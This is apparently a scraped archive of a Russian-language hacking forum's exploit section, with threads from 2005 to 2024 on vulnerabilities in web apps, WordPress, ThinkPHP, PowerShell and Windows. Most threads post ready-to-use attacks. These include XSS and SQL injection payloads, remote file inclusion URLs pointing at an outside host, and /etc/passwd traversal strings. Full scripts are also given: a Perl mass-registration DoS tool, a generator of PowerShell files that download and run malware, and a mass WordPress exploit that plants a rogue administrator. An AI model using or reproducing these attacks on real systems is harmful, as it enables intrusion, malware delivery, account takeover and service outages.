Уязвимость существует из-за недостаточной обработки входных данных в параметре "entry" в сценариях "preview_cgi.php" и "preview_static_cgi.php", в параметрах "blog_subject" и "blog_text" в сценарии "preview_cgi.php", в параметрах "blog_subject", "blog_text" и "file_name" в сценарии "preview_static_cgi.php", в параметрах "scheme_name" и "bg_color" сценария "colors_cgi.php". Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный HTML сценарий в браузере жертвы в контексте безопасности уязвимого сайта.

Примеры:

Code:Copy to clipboard

http://your-server/path-to-sphpblog/preview_cgi.php?
entry=foo"><script>alert(document.cookie)</script>

<form action="http://your-server/path-to-sphpblog/
preview_cgi.php" method="post">
<input name="blog_subject" value='"><script>
alert(document.cookie)</script>'/>
<input type="submit"/></form>
<script type="text/javascript">
document.forms[0].submit();
</script>

<form action="http://your-server/path-to-sphpblog/
preview_cgi.php" method="post">
<input name="blog_text" value='</textarea><script>
alert(document.cookie)</script>'/>
<input type="submit"/></form>
<script type="text/javascript">
document.forms[0].submit();
</script>

http://localhost/~enji/path-to-sphpblog/preview_static_cgi.php?
entry=foo"><script>alert(document.cookie)</script>

<form action="http://your-server/path-to-sphpblog/
preview_static_cgi.php" method="post">
<input name="blog_subject" value='"><script>
alert(document.cookie)</script>'/>
<input type="submit"/></form>
<script type="text/javascript">
document.forms[0].submit();
</script>

<form action="http://your-server/path-to-sphpblog/
preview_static_cgi.php" method="post">
<input name="blog_text" value='</textarea><script>
alert(document.cookie)</script>'/>
<input type="submit"/></form>
<script type="text/javascript">
document.forms[0].submit();
</script>

<form action="http://your-server/path-to-sphpblog/
preview_static_cgi.php" method="post">
<input name="file_name" value='"><script>alert
(document.cookie)</script>'/>
<input type="submit"/></form>
<script type="text/javascript">
document.forms[0].submit();
</script>

<form action="http://your-server/path-to-sphpblog/
colors_cgi.php" method="post">
<input name="save_btn" value="1"/>
<input name="scheme_name" value='"></option>
</select><script>alert(document.cookie)</script>'/>
<input name="scheme_file" value="blabla"/>
<input type="submit"/></form>
<script type="text/javascript">
document.forms[0].submit();
</script>

<form action="http://your-server/path-to-sphpblog/
colors_cgi.php" method="post">
<input name="save_btn" value="1"/>
<input name="scheme_name" value="myscheme"/>
<input name="scheme_file" value="blabla"/>
<input name="bg_color" value='"><script>
alert(document.cookie)</script>'/>
<input type="submit"/></form>
<script type="text/javascript">
document.forms[0].submit();
</script>

:zns2: Производитель

DboardGear
ID: 67686ba3b4103b69df379e8b
Thread ID: 5313
Created: 2005-10-25T15:01:41+0000
Last Post: 2005-10-25T15:01:41+0000
Author: Winux
Prefix: Web
Replies: 0 Views: 2K

SQL инъекция в DboardGear
Плохая фильтрация в данной борде, позволяющая провести SQL атаку, присутствует в модулях buddy.php и u2a.php. SQL инъекция производится путем передачи уязвимому скрипту, методом GET, специально составленного запроса, что в последствии может привести к краже пользовательских данных.

Пример сплойтов:

Code:Copy to clipboard

/buddy.php?action=add&buddy=[SQL]
/u2u.php?action=view&u2uid=[SQL]
Net Portal Dynamic System
ID: 67686ba3b4103b69df379e8c
Thread ID: 5293
Created: 2005-10-24T05:50:17+0000
Last Post: 2005-10-24T05:50:17+0000
Author: Winux
Prefix: DoS
Replies: 0 Views: 2K

Net Portal Dynamic System <= 5.0 (register users) Denial of Service
Дата: 22.10.05

Code:Copy to clipboard

 #!/usr/bin/perl
################################################################
#Type|+ Register multiple users for Denial of Service
#Vendor url|+ www.npds.org
#Little description|+ NPDS (Net Portal Dynamic System) is a French(and now English !) GNU dynamic portal
#Solution|+ None official but you can add a visual confirmation if you like php;)
#Worked on|+ Last version(5.0, tested), probably prior
#Files|+ Exploit=npds50.pl Bind=malicious_npds.pl Log=log_npds_dos.txt
#Credits|+ Vulnerability find and coded by DarkFig
#Greetz|+ Acid root, [*BoD*] , Milw0rm.com (best website in the world !!) and all people who know me;)
#Note|+ Bind option if for DDoS attack | If the website send password to the email no registration but it add an email in the database (can make Dos !);) | Sorry for my bad english ^^
################################################################
use IO::Socket;
if (@ARGV < 7) {
print q(
+------------------------------------------------------------------------+
+ Net Portal Dynamic System <5.0 +
+ Register multiple users Denial of Service +
+------------------------------------------------------------------------+
+ Usage|npds50.pl <host> <path> <port> <pwd_send> <nb_reg> <log> <bind> +
+------------------------------------------------------------------------+
+ <pwd_send> => Website send password to the email ? [Yes=1] [No=0] +
+ <port> => The port of the website (default is 80) +
+ <nb_loop> => Number of registration [Infinite=loop] +
+ <log> => Log activity in a file [Yes=1] [No=0] +
+ <bind> => Generate a malicious file for DDOS [Yes=1] [No=0] +
+------------------------------------------------------------------------+
+ Found and coded by DarkFig +
+------------------------------------------------------------------------+
); exit();}

#Initializing data
$host = $ARGV[0];
$path = $ARGV[1];
$port = $ARGV[2];
$sendpwd = $ARGV[3];
$nb_reg = $ARGV[4];
$log = $ARGV[5];
$bind = $ARGV[6];
$x = 0;
if($nb_reg eq "loop") {$nb_reg = "-5";}

#If bind=yes
if($bind eq "1") {
print q(
+-----------------------------------+
+ Net Portal Dynamic System <5.0 +
+ Register multiple users for DoS +
+ Found and coded by DarkFig +
+-----------------------------------+);
print "\n [+] Generate a malicious file...";
open FILE, ">malicious_npds.pl";
print FILE "use IO::Socket;";
print FILE "\n"; print FILE q($log = "); print FILE "$log"; print FILE q(";);
print FILE "\n"; print FILE q($host = "); print FILE "$host"; print FILE q(";);
print FILE "\n"; print FILE q($port = ); print FILE "$port;";
print FILE "\n"; print FILE q($nb_reg = ); print FILE "$nb_reg;";
print FILE "\n"; print FILE q($path = "); print FILE "$path"; print FILE q(";);
print FILE "\n"; print FILE q($x = 0;);
print FILE "\n"; print FILE q(if($nb_reg eq "loop"){$nb_reg = "-5";});
print FILE "\n";
print FILE q(while($x != $nb_reg) {
$email = "godman"."$x"."%40hotmail.com";
$pseudo = "0rrn"."$x"."&";
$password = "g0_odp4sswd";
);
if($sendpwd eq "0"){print FILE q($full_url = "$path"."user.php"."?op=only_newuser&uname="."$pseudo"."name=&email="."$email"."&user_avatar=blank.gif&user_icq=&url=&user_from=&user_occ=&user_intrest=&user_sig=&user_aim=&user_yim=&user_msnm=&user_viewemail=&pass="."$password"."&user_lnl=1&C1=&C2=&C3=&C4=&C5=&C6=&C7=&C8=&M1=&M2=&T1=17%2F10%2F2005&T2=&B1=&op=finish";);}
if($sendpwd eq "1"){print FILE q($full_url = "$path"."user.php"."?op=only_newuser&uname="."$pseudo"."name=&email="."$email"."&user_avatar=blank.gif&user_icq=&url=&user_from=&user_occ=&user_intrest=&user_sig=&user_aim=&user_yim=&user_msnm=&user_viewemail=&user_lnl=1&C1=&C2=&C3=&C4=&C5=&C6=&C7=&C8=&M1=&M2=&T1=17%2F10%2F2005&T2=&B1=&op=finish";);}
print FILE q(
my $sock = new IO::Socket::INET (PeerAddr => "$host",PeerPort => "$port",Proto => "tcp",);
die "\n[-] Can't connect to the host, maybe Dosed !\n" unless $sock;
print $sock "GET $full_url HTTP/1.1\n";
print $sock "Host: $host\n";
close($sock);
if($log eq "1") {
open FILE, ">log_npds_dos.txt";
print FILE q(
+-----------------------------------+
+ Net Portal Dynamic System <5.0 +
+ Register multiple users for DoS +
+ ~~Activity logged~~ +
+-----------------------------------+);
print FILE "\n Host| $host";
print FILE "\n Path| $path";
print FILE "\n Port| $port";
print FILE "\n Registration| $x";
print FILE "\n+-----------------------------------+";
print FILE "\n+ Logged by DarkFig +";
print FILE "\n+-----------------------------------+";
close FILE;}
$x++;
syswrite STDOUT, "-$x";}); close FILE;
print "\n [+] Malicious file generate !";
print "\n+-----------------------------------+\n";
exit();}

#If bind=no
if($bind eq "0") {
print q(
+-----------------------------------+
+ Net Portal Dynamic System <5.0 +
+ Register multiple users for DoS +
+ Found and coded by DarkFig +
+-----------------------------------+);
print "\n[~] Connecting to the host..";
my $sock = new IO::Socket::INET (PeerAddr => "$host",PeerPort => "$port",Proto => "tcp",);
die "\n[-] Can't connect to the host: $!\n" unless $sock; close($sock);
print "\n[+] Connected !";
print "\n[~] Sending data...";
print "\n[+] Number of registration\n";
while($x != $nb_reg) {
$email = "ownv"."$x"."%40hotmail.com";
$pseudo = "0orn"."$x"."&";
$password = "g0_odp4sswd";
if($sendpwd eq "0"){$full_url = "$path"."user.php"."?op=only_newuser&uname="."$pseudo"."name=&email="."$email"."&user_avatar=blank.gif&user_icq=&url=&user_from=&user_occ=&user_intrest=&user_sig=&user_aim=&user_yim=&user_msnm=&user_viewemail=&pass="."$password"."&user_lnl=1&C1=&C2=&C3=&C4=&C5=&C6=&C7=&C8=&M1=&M2=&T1=17%2F10%2F2005&T2=&B1=&op=finish";}
if($sendpwd eq "1"){$full_url = "$path"."user.php"."?op=only_newuser&uname="."$pseudo"."name=&email="."$email"."&user_avatar=blank.gif&user_icq=&url=&user_from=&user_occ=&user_intrest=&user_sig=&user_aim=&user_yim=&user_msnm=&user_viewemail=&user_lnl=1&C1=&C2=&C3=&C4=&C5=&C6=&C7=&C8=&M1=&M2=&T1=17%2F10%2F2005&T2=&B1=&op=finish";}
my $sock = new IO::Socket::INET (PeerAddr => "$host",PeerPort => "$port",Proto => "tcp",);
die "\n[-] Can't connect to the host, maybe Dosed !\n" unless $sock;
print $sock "GET $full_url HTTP/1.1\n";
print $sock "Host: $host\n";
close($sock);
if($log eq "1") {
open FILE, ">log_npds_dos.txt";
print FILE q(
+-----------------------------------+
+ Net Portal Dynamic System <5.0 +
+ Register multiple users for DoS +
+ ~~Activity logged~~ +
+-----------------------------------+);
print FILE "\n Host| $host";
print FILE "\n Path| $path";
print FILE "\n Port| $port";
print FILE "\n Registration| $x";
print FILE "\n+-----------------------------------+";
print FILE "\n+ Logged by DarkFig +";
print FILE "\n+-----------------------------------+";
close FILE;}
$x++;
syswrite STDOUT, "-$x";}}
MySource
ID: 67686ba3b4103b69df379e8d
Thread ID: 5234
Created: 2005-10-20T16:07:31+0000
Last Post: 2005-10-20T16:07:31+0000
Author: Winux
Prefix: Web
Replies: 0 Views: 2K

Межсайтовый скриптинг и PHP-инклюдинг в MySource 2.14.0

Уязвимость позволяет удаленному пользователю произвести XSS нападение и получить доступ к потенциально важным данным других пользователей и выполнить произвольный PHP сценарий на целевой системе.

1. Межсайтовый скриптинг возможет из-за недостаточной обработки входных данных перед отображением их в браузере пользователей. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольный HTML сценарий в браузере жертвы в контексте безопасности уязвимого сайта. Примеры:

Code:Copy to clipboard

http://[victim]/web/edit/upgrade_in_progress_backend.php?target_url=">[code]
http://[victim]/squizlib/bodycopy/pop_ups/insert_table.php?bgcolor=</style>[code]
http://[victim]/squizlib/bodycopy/pop_ups/edit_table_cell_props.php?bgcolor=</style>[code]
http://[victim]/squizlib/bodycopy/pop_ups/header.php?bgcolor=</style>[code]
http://[victim]/squizlib/bodycopy/pop_ups/edit_table_row_props.php?bgcolor=</style>[code]
http://[victim]/squizlib/bodycopy/pop_ups/edit_table_props.php?bgcolor=</style>[code]
http://[victim]/squizlib/bodycopy/pop_ups/edit_table_cell_type_wysiwyg.php?stylesheet=">[code]

2. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольный PHP сценарий на целевой системе. Примеры:

Code:Copy to clipboard

http://[victim]/web/edit/upgrade_functions/new_upgrade_functions.php?INCLUDE_PATH=http://[host]/[file]?
http://[victim]/web/edit/upgrade_functions/new_upgrade_functions.php?SQUIZLIB_PATH=http://[host]/[file]?
http://[victim]/web/init_mysource.php?INCLUDE_PATH=http://[host]/[file]?
http://[victim]/pear/Net_Socket/Socket.php?PEAR_PATH=http://[host]/[file]?
http://[victim]/pear/HTTP_Request/Request.php?PEAR_PATH=http://[host]/[file]?
http://[victim]/pear/Mail/Mail.php?PEAR_PATH=http://[host]/[file]?
http://[victim]/pear/Date/Date.php?PEAR_PATH=http://[host]/[file]?
http://[victim]/pear/Date/Date/Span.php?PEAR_PATH=http://[host]/[file]?
http://[victim]/pear/Mail_Mime/mimeDecode.php?PEAR_PATH=http://[host]/[file]?
http://[victim]/pear/Mail_Mime/mime.php?PEAR_PATH=http://[host]/[file]?

Для удачной эксплуатации уязвимостей должна быть включена опция register_globals

:zns2: Производитель

W-Agora
ID: 67686ba3b4103b69df379e8e
Thread ID: 5230
Created: 2005-10-20T15:47:18+0000
Last Post: 2005-10-20T15:47:18+0000
Author: Winux
Prefix: Web
Replies: 0 Views: 2K

Бага в W-Agora 4.2.0
![](/proxy.php?image=http%3A%2F%2Fw- agora.net%2Fimages%2Fcase_logo.gif&hash=10122fed6944ddcb81e468a3c2b01784)
Обнаружена опасная уязвимость в форумной системе W-Agora 4.2.0, которая может быть использована в качестве системы поддержки доски объявлений, гостевой книги или публикации. Т.е. движок очень популярный и функциональный. Уязвимость позволяет получить хакеру произвольный файл с сервера.
1. Уязвимость существует из-за недостаточной обработки входных данных в параметре site сценария extras/quicklist.php. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольный PHP сценарий, находящийся на целевой системе.
2. Уязвимость обнаружена в сценариях browse_avatar.php и insert.php
Примеры:

Code:Copy to clipboard

http://www.example.com/w-agora/index.php?site=../../../../../../../../etc/passwd%00
http://www.example.com/w-agora/index.php?site=../../../../../../../../etc/passwd
http://www.example.com/w-agora/index.php?site=../../../../../../../../boot.ini%00
http://www.example.com/w-agora/index.php?site=../../../../../../../../boot.ini
versatileBulletinBoard
ID: 67686ba3b4103b69df379e8f
Thread ID: 5186
Created: 2005-10-17T17:34:08+0000
Last Post: 2005-10-17T17:34:08+0000
Author: Winux
Prefix: Web
Replies: 0 Views: 2K

SQL-инъекция в versatileBulletinBoard 1.0.0RC2

Удаленный пользователь может произвести XSS нападение и выполнить произвольные SQL команды в базе данных приложения.

1. SQL-инъекция возможна, при выключенной опции magic_quotes_gpc, из-за недостаточной обработки входных данных в различных переменных. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.

2. Межсайтовый скриптинг возможен из-за недостаточной обработки входных данных в параметре file сценария imagewin.php и параметре url файла dereferrer.php. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольный HTML код в браузере жертвы в контексте безопасности уязвимого сайта.

3. Удаленный пользователь может просмотреть версии установленных сценариев, запросив файл getversions.php.

:zns2: Производитель
:zns2: Подробно о сплойте

Complete PHP Counter
ID: 67686ba3b4103b69df379e90
Thread ID: 5184
Created: 2005-10-17T17:28:22+0000
Last Post: 2005-10-17T17:28:22+0000
Author: Winux
Prefix: Web
Replies: 0 Views: 2K

XSS в Complete PHP Counter
Уязвимость позволяет удаленному пользователю произвести XSS нападение и выполнить произвольные SQL команды в базе данных приложения.

Уязвимость существует при обработке входных данных в сценарии list.php. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольный HTML сценарий в браузере жертвы и выполнить произвольные SQL команды в базе данных приложения. Примеры:

Code:Copy to clipboard

http://[target]/[php-counter]/list.php?c='>
<script>alert(document.cookie);</script>

http://[target]/[php-counter]/list.php?c='&s='

:zns2: Производитель

aspReady FAQ Manager
ID: 67686ba3b4103b69df379e92
Thread ID: 5092
Created: 2005-10-10T17:25:02+0000
Last Post: 2005-10-10T17:25:02+0000
Author: Winux
Prefix: Web
Replies: 0 Views: 2K

Баг в aspReady FAQ Manager
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения.
Уязвимость существует из-за недостаточной обработки входных данных. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.
Пример:

Code:Copy to clipboard

1'or'1'='1

:zns2: Производитель

CVE-2023-46805_CVE-2024-21887-Ivanti
ID: 67686ba3b4103b69df379b7b
Thread ID: 107217
Created: 2024-02-01T12:02:48+0000
Last Post: 2024-02-20T18:13:06+0000
Author: KeyBit
Prefix: Remote
Replies: 18 Views: 2K

Всем Здравствуйте, не увидел обсуждение по Ivanti, вроде и таргеты есть, хотя много ложно позитивных, но решение не могу найти по нему, есть у кого идеи?

Microsoft Windows PowerShell Remote Command Execution Exploit
ID: 67686ba3b4103b69df379b8a
Thread ID: 90091
Created: 2023-06-09T16:43:26+0000
Last Post: 2023-11-26T06:35:37+0000
Author: DarckSol
Prefix: Remote
Replies: 3 Views: 2K

Code:Copy to clipboard

from base64 import b64encode
import argparse,sys,os
#PSTrojanFile.py
#By hyp3rlinx (c) 2023
#ApparitionSec
#hyp3rlinx.altervista.org
#twitter.com/hyp3rlinx
#twitter.com/malvuln
#PoC Video: https://www.youtube.com/watch?v=-ZJnA70Cf4I
#============================================================================================
#Create vulnerable Windows .PS1 (PowerShell) files with specially crafted exploitable names.
#Example:
#Test;POweRsHeLL -e [BASE64 PAYLOAD];.ps1
#Testing;saps (gc -)PoC;.ps1
#
#Updated for Python3 from my orginal 2019 script with added DLL support and fixes.
#Creates malicious ".ps1" PowerShell files with embedded trojan filename commands.
#Download, save and execute malware (EXE,DLL) all from within a PowerShell Filename.
#Expects hostname/ip-address of web-server housing an executable.
#
#Vectors:
#Double-click, drag and drop to a PowerShell shortcut, command line.
#
#Requirements:
#=============
#1) .PS1 files set to open and run with PowerShell as the default program 
#2) Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass -Force
#
#By hyp3rlinx - apparitionSec
#===========================================================================================
BANNER="""
   _ \    ___| __ __|           _)                ____| _)  |       
  |   | \___ \    |   __|  _ \   |   _` |  __ \   |      |  |   _ \ 
  ___/        |   |  |    (   |  |  (   |  |   |  __|    |  |   __/ 
 _|     _____/   _| _|   \___/   | \__,_| _|  _| _|     _| _| \___| 
                             ___/
                                                      By hyp3rlinx
                                                    (C) circa 2023
"""
 
#Console colors
RED="\033[1;31;40m"
GREY="\033[1;30;40m"
CYAN="\033[1;36;40m"
YELLOW="\033[1;33;40m"
ENDC = '\033[m' #Default
 
def parse_args():
    parser.add_argument("-i", "--ipaddress", help="Remote server hosting a Malware.")
    parser.add_argument("-m", "--local_malware_name", help="Name of the Malware on disk after download.")
    parser.add_argument("-r", "--remote_malware_name", help="Malwares name on remote server.")
    parser.add_argument("-t", "--type", help="Executable type EXE or DLL (required)")
    parser.add_argument("-f", "--from_file", nargs="?", const="1", help="Execute commands from a local text-file named '-' (dash).")
    parser.add_argument("-u", "--usage", nargs="?", const="1", help="Usage examples.")
    return parser.parse_args()
 
def show_usage():
    print(RED+BANNER+ENDC)
    print(CYAN+"[+] "+GREY+"PSTrojanFile.py -i 127.0.0.1 -m hate.exe -r 1.exe  -t exe")
    print(CYAN+"[+] "+GREY+"PSTrojanFile.py -i x.x.x.x -m q.z -r s.dll -t dll"+ENDC)
     
 
def main(args):
    PSEmbedFilenameMalwr=""
    if args.usage:
        show_usage()
        return
    if args.from_file: #Create PS1 file that executes code from a text-file using saps gc (get-content).
        if create_file("",1):
            success(1)
    if args.ipaddress:
        if not args.type:
            show_usage()
            print(YELLOW+"[!] "+GREY+"Provide the executable type DLL or EXE"+ENDC)
            exit(1)
        if args.type=="exe": #EXE saved to current dir where the vuln PS script is run.
            PSEmbedFilenameMalwr = "iwr "+args.ipaddress+"/"+args.remote_malware_name+" -O "+args.local_malware_name+";sleep -s 2;start "+args.local_malware_name
        else: #DLL saved to users downloads directory.
            PSEmbedFilenameMalwr = "saps "+"http://"+args.ipaddress+"/"+args.remote_malware_name+";sleep -s2;rundll32 $HOME/Downloads/"+args.local_malware_name+", 0"
    return b64encode(PSEmbedFilenameMalwr.encode('UTF-16LE')).decode()
 
def success(obj):
    print(RED+BANNER+ENDC)
    print(GREY+"[+] PS1 Trojan File Created!")
    if obj==1:
        print(GREY+"[+] Added 'calc.exe' command to created file named '-' (dash)"+ENDC)
 
def create_file(payload, local):
    if local==1:
        f=open("Testing;saps (gc -)PoC;.ps1", "w")
        f2=open("-", "w")
        f2.write("calc.exe")
        f2.close()
    else:
        f=open("Test;PoWeRShell -e "+payload+";2.ps1", "w")
    f.write("Write-Output 'Have a nice day GG!'")
    f.close()
    return True
 
if __name__=="__main__":
    os.system("color")
    parser = argparse.ArgumentParser()
    PSCmds = main(parse_args())
 
    if len(sys.argv)==1:
        print(RED+BANNER+GREY)
        parser.print_help(sys.stderr)
        print(ENDC)
        sys.exit(1)
    if PSCmds:
        if create_file(PSCmds,0):
            success(0)
ThinkPHP 5.x < v5.0.23, v5.1.31 Remote Code Execution
ID: 67686ba3b4103b69df379ba9
Thread ID: 27228
Created: 2019-01-10T19:10:52+0000
Last Post: 2023-08-25T22:05:47+0000
Author: tabac
Prefix: Web
Replies: 1 Views: 2K

ThinkPHP 5.x < v5.0.23,v5.1.31 Remote Code Execution

https://www.exploit-db.com/exploits/45978

Code:Copy to clipboard

/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'
CVE-2023-24055 PoC (KeePass 2.5x)
ID: 67686ba3b4103b69df379b9f
Thread ID: 80717
Created: 2023-01-26T23:43:56+0000
Last Post: 2023-10-05T07:42:06+0000
Author: weaver
Prefix: Local
Replies: 5 Views: 2K

github.com

[ GitHub - alt3kx/CVE-2023-24055_PoC: CVE-2023-24055 PoC (KeePass 2.5x)

](https://github.com/alt3kx/CVE-2023-24055_PoC)

CVE-2023-24055 PoC (KeePass 2.5x). Contribute to alt3kx/CVE-2023-24055_PoC development by creating an account on GitHub.

github.com github.com

CVE-2024-27956 SQL Injection leading to Remote Code Execution.
ID: 67686ba3b4103b69df379b1a
Thread ID: 119440
Created: 2024-07-23T12:34:02+0000
Last Post: 2024-12-20T00:52:03+0000
Author: blackhunt
Prefix: Remote
Replies: 7 Views: 2K

1721737974258.png

Python script that exploits CVE-2024-27956, a vulnerability in Wordpress that allows SQL Injection leading to Remote Code Execution.

Exploit :

Python:Copy to clipboard

import argparse
import requests
import sys
import urllib3
import os
from sys import stdout
from colorama import Fore, init
from concurrent.futures import ThreadPoolExecutor, as_completed

# Disable insecure request warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Initialize colorama
init(autoreset=True)

def clear():
    os.system('clear' if os.name == 'posix' else 'cls')

def banners():
    clear()
    stdout.write("                                                                                         \n")
    stdout.write(""+Fore.LIGHTRED_EX +" ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ██╗  ██╗      ██████╗ ███████╗ █████╗ ███████╗ ██████╗ \n")
    stdout.write(""+Fore.LIGHTRED_EX +"██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗██║  ██║      ╚════██╗╚════██║██╔══██╗██╔════╝██╔════╝ \n")
    stdout.write(""+Fore.LIGHTRED_EX +"██║     ██║   ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████║█████╗ █████╔╝    ██╔╝╚██████║███████╗███████╗ \n")
    stdout.write(""+Fore.LIGHTRED_EX +"██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║╚════╝██╔═══╝    ██╔╝  ╚═══██║╚════██║██╔═══██╗\n")
    stdout.write(""+Fore.LIGHTRED_EX +"╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗     ██║      ███████╗   ██║   █████╔╝███████║╚██████╔╝\n")
    stdout.write(""+Fore.LIGHTRED_EX +" ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝     ╚═╝      ╚══════╝   ╚═╝   ╚════╝ ╚══════╝ ╚═════╝ \n")
    stdout.write(""+Fore.YELLOW +"═════════════╦═════════════════════════════════╦══════════════════════════════\n")
    stdout.write(""+Fore.YELLOW   +"╔════════════╩═════════════════════════════════╩═════════════════════════════╗\n")
    stdout.write(""+Fore.YELLOW   +"║ \x1b[38;2;255;20;147m• "+Fore.GREEN+"AUTHOR             "+Fore.RED+"    |"+Fore.LIGHTWHITE_EX+"   PARI MALAM                                    "+Fore.YELLOW+"║\n")
    stdout.write(""+Fore.YELLOW   +"╔════════════════════════════════════════════════════════════════════════════╝\n")
    stdout.write(""+Fore.YELLOW   +"║ \x1b[38;2;255;20;147m• "+Fore.GREEN+"GITHUB             "+Fore.RED+"    |"+Fore.LIGHTWHITE_EX+"                           "+Fore.YELLOW+"║\n")
    stdout.write(""+Fore.YELLOW   +"╚════════════════════════════════════════════════════════════════════════════╝\n")
    print(f"{Fore.YELLOW}[CVE-2024-27956] - {Fore.GREEN}Wordpress SQLI-2-RCE\n")

def makeRequest(payload, hash, url):
    session = requests.Session()
    session.verify = False

    headers = {
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
        'Accept-Language': 'en-US,en;q=0.5',
        'Accept-Encoding': 'gzip, deflate, br',
        'Content-type': 'application/x-www-form-urlencoded',
        'Connection': 'close',
        'Upgrade-Insecure-Requests': '1'
    }

    data = {
        'q': payload,
        'auth': b'\0',
        'integ': hash
    }

    try:
        response = session.post(url, data=data, headers=headers)
        response.raise_for_status()
        return response
    except requests.exceptions.RequestException as e:
        print(f"{Fore.YELLOW}[SQLI-2-RCE]: {Fore.WHITE}{url} {Fore.RED}- Failed: {e}{Fore.RESET}")
        return None

def helpUsage():
    print("[+] You must run the exploit passing the Wordpress URL.")
    print("[+] Example: python exploit.py -f urls.txt")
    sys.exit(1)

def verifyArgs():
    parser = argparse.ArgumentParser(description="Exploit for CVE-2024-27956")
    parser.add_argument('-f', '--file', type=str, required=True, help='File containing URLs/IPs, one per line')
    parser.add_argument('-t', '--threads', type=int, default=5, help='Number of threads to use for concurrent requests (default: 5)')
    args = parser.parse_args()
try:
        with open(args.file, 'r') as f:
            urls = f.read().strip().splitlines()
    except FileNotFoundError as e:
        print(f"File '{args.file}' not found: {e}")
        sys.exit(1)
    except Exception as e:
        print(f"Error reading file '{args.file}': {e}")
        sys.exit(1)

    # Ensure URLs have http:// or https:// prefix
    urls = [url if url.startswith('http://') or url.startswith('https://') else f'http://{url}' for url in urls]

    return urls, args.threads

def exploitWordpress(url):
    exploit_path = '/wp-content/plugins/wp-automatic/inc/csv.php'

    print(f"{Fore.YELLOW}[SQLI-2-RCE]: {Fore.WHITE}{url} {Fore.GREEN}- Attempting to exploit{Fore.RESET}")

    # Construct SQL query with dynamic URL
    create_user_payload = f"INSERT INTO wp_users (user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_status, display_name) VALUES ('eviladmin', '$P$BASbMqW0nlZRux/2IhCw7AdvoNI4VT0', 'eviladmin', 'eviladmin@gmail.com', '{url}', '2024-04-30 16:26:43', 0, 'eviladmin')"
    create_user_hash = "09956ea086b172d6cf8ac31de406c4c0"

    response = makeRequest(create_user_payload, create_user_hash, url + exploit_path)
    if response is None:
        return False

    if "Tampered query" in response.text or "invalid login" in response.text or "login required" in response.text:
        print(f"{Fore.YELLOW}[SQLI-2-RCE]: {Fore.WHITE}{url} {Fore.RED}- Payload Error: {response.text.strip()}{Fore.RESET}")
        return False

    if "DATE" not in response.text:
        print(f"{Fore.YELLOW}[SQLI-2-RCE]: {Fore.WHITE}{url} {Fore.RED}- Not Vulnerable{Fore.RESET}")
        return False

    # Second request (give admin permissions)
    give_permission_payload = "INSERT INTO wp_usermeta (user_id, meta_key, meta_value) VALUES ((SELECT ID FROM wp_users WHERE user_login = 'eviladmin'), 'wp_capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}')"
    give_permission_hash = "bd98494b41544b818fa9f583dadfa2bb"

    response = makeRequest(give_permission_payload, give_permission_hash, url + exploit_path)
    if response is None:
        return False

    if "Tampered query" in response.text or "invalid login" in response.text or "login required" in response.text:
        print(f"{Fore.YELLOW}[SQLI-2-RCE]: {Fore.WHITE}{url} {Fore.RED}- Payload Error: {response.text.strip()}{Fore.RESET}")
        return False

    print(f"{Fore.YELLOW}[SQLI-2-RCE]: {Fore.WHITE}{url} {Fore.GREEN}Exploit completed successfully: eviladmin:admin{Fore.RESET}")
    return True

def main():
    urls, threads = verifyArgs()

    with ThreadPoolExecutor(max_workers=threads) as executor:
        futures = []
        for url in urls:
            futures.append(executor.submit(exploitWordpress, url))

        for future in as_completed(futures):
            future.result()

if name == "main":
    banners()
    main()

Source Github : https://github.com/CERTologists/EXPLOITING-CVE-2024-27956

CVE-2024-3400 Palo Alto GlobalProtect VPN (0-Day)
ID: 67686ba3b4103b69df379b22
Thread ID: 112561
Created: 2024-04-13T12:03:54+0000
Last Post: 2024-11-24T06:53:32+0000
Author: SKARDA
Prefix: Remote
Replies: 9 Views: 2K

Техничка [тут](https://www.volexity.com/blog/2024/04/12/zero-day-exploitation- of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect- cve-2024-3400/)
Семпл бэкдора здесь (UPSTYLE Backdoor - update.py)
Аналитика от PaloAlto + адреса С2 серверов - здесь

[CVE-2024-35250 ] Windows LPE (PoC)
ID: 67686ba3b4103b69df379b2b
Thread ID: 124745
Created: 2024-10-13T20:21:30+0000
Last Post: 2024-10-22T20:06:59+0000
Author: varwar
Prefix: Local
Replies: 6 Views: 2K

С добрым утром https://github.com/varwara/CVE-2024-35250

Spoiler: CVE-2024-35250.cpp

C++:Copy to clipboard

/*
                PoC Info
--------------------------------------------------------------
Vulnerability:            CVE-2024-35250
Tested environment:        Windows 11 22h2 Build 22621
                        Windows 10 20h2 Build 19042
                        VMWare Workstation 17 Pro
Weakness:                CWE-822: Untrusted Pointer Dereference
Known limitations:        Didn't work in Hyper-V environments
Required privileges:    Medium IL
--------------------------------------------------------------
*/
#define __STREAMS__
#define _INC_MMREG
//#define _SE_DEBUG_PRIVILEGE 0xc1b4
#define _PREVIOUS_MODE        0xbaba
#include <Windows.h>
#include <winternl.h>
#include <strmif.h>
#include <ks.h>
#include <ksproxy.h>
#include <ksmedia.h>
#include <stdio.h>
#include <SetupAPI.h>
